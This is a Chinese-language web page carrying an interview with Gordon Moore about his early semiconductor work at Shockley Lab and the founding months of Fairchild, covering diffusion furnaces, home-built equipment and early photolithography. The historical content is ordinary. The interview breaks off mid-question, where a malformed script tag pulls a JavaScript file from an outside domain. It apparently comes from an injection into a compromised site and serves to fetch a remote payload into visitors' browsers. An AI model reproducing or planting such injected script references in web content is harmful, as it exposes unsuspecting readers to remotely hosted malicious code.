IC人生50年

 craigaddison(ca):肖克莱如何找到你为他工作的故事已为人们津津乐道,我们能否直接从你刚到肖克莱实验室的那段日子开始谈起?那几个月你具体做哪些工作?

    gordonmoore(gm):刚去肖克莱实验室(shockleylab)时,我对半导体一无所知。因为那时候这个行业才刚开始,大家对这方面都知之甚少。我最初的工作是研究扩散技术,并设计实验找出制作扩散硅器件的方法,那段经历让我学到了很多知识。我们做的工作与以往所有人尝试过的工作都不一样,我们必须重复贝尔实验室的某些实验,然后在此基础上深入研究,那真是非常有趣的工作,真正探索性很强的工作。

    ca:那你们从哪儿获得设备和原材料进行研究呢?

    gm:当时没有现成的设备和材料可供利用,我们买来组装设备的材料是标准实验室器材——实验室的加热炉。因为硅片加工需要1200~1250℃的高温,那时候可以在这样的高温范围工作的加热炉不多。不过能买到的标准实验设备不具备均匀的温度区间,它们一般是管状炉,容量足够可以放进小块硅片。对于有些设备,我们可以买到标准设备,如钟罩蒸发器,用来镀膜是很有用的。但当时我们自己不得不亲手制作很多设备,我记得制作水处理系统需要将几个可盛水五加仑的大口瓶连在一起,这样就可以获得蒸馏水用来清洗硅片。我还曾用玻璃吹制法亲自吹制扩散炉的气体“支路”,用来控制气体和净化材料,以此来控制扩散炉。

    ca:我还读到一些故事讲到你熔解了一些昂贵的材料,具体是什么情况?

    gm:当时确定我们需要一个很宽的均匀温度区域后,我试图设计一个加热炉,我使用了铂线圈。因为铂的熔点在我们需要的温度之上,因此我订购了相当多的铂线。我将两组铂线圈放在炉子两端,以补偿热量损失,居然在加热炉中获得了相当不错的均匀温度区域。不幸的是,这个加热炉只工作了大约两个星期,铂线圈就烧坏了。结果证明虽然铂在高温下不会熔化,但由于某种原因它会升华。我们拆开那座炉子时,还有一些晶体状的铂从铂线所在处飘出,后来我们把它们送到一家废物利用公司,以回收炉子中的这些价值数千美元的铂。

    ca:现在回忆过去,你认为在优化工艺方面,你在那里的15或18个月期间做出多大进展?是突飞猛进,还是进展缓慢?

    gm:我不认为我们那时将技术水平推进了很多。现在看,那真是一座很脏的工厂。它并不比半圆拱形的活动房屋好多少,没有空调,也根本没有超净间的功能。最终结果是我们想制作具有良好电学特性的器件非常困难。我们仅知道有很多事情不能做,因此我们离开那里并创办了fairchild,带着对于我们想要最终达到的目标的美好憧憬,开始了新的追求。

    ca:谈到fairchild公司,我不久前采访了jay,他认为你在仅仅八个月的时间里就将这个晶体管工厂从一座空厂变成一条生产线,这是很了不起的。能否谈谈你对在fairchild的最初几个月的看法和遇到的挑战吗?

    gm:带着制造双扩散硅晶体管的想法,我们认为已经清楚自己要走的方向了。我们把不同要素划分开,在fairchild的高级成员之间进行分配,然后各人开始着手研究。比如,我研究扩散和金属化,jay和bobnoyce负责研究光刻,我还研究封装技术的一部分,sheldonroberts研究生长硅晶体。基本上,我们在这些以前习惯于制作设备的人员之间分配工作,因为设备制备是必要的。我们采用了一种可从瑞典购买的元素制作了一个加热炉,该元素可以达到我们需要的那种高温而不会在几个星期后就烧光。用于光刻的所有设备必须从无到有地开发,光刻技术曾用于印制电路板,但我们想把它真正用于硅生产技术,还需要很多新东西。我们必须开发掩膜制作技术以及用光刻胶材料覆盖晶圆及其它技术,因此它是一种涉及面非常广的新技术,我们利用它做成了我们最初的产品。

    用来制作掩膜的机器是我们内部开发的。最初利用三个16mm电影摄像机的透镜,可以一次加工三个掩膜,形成三种不同图案。将它们结合使用,其中一个出现错误,其它的也会出现,因此这些掩膜实际上是相互对准的。

    ca:采访jay的时候,他回忆那时在fairchild的大部分人将ic当作研究兴趣,你是?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:新闻动态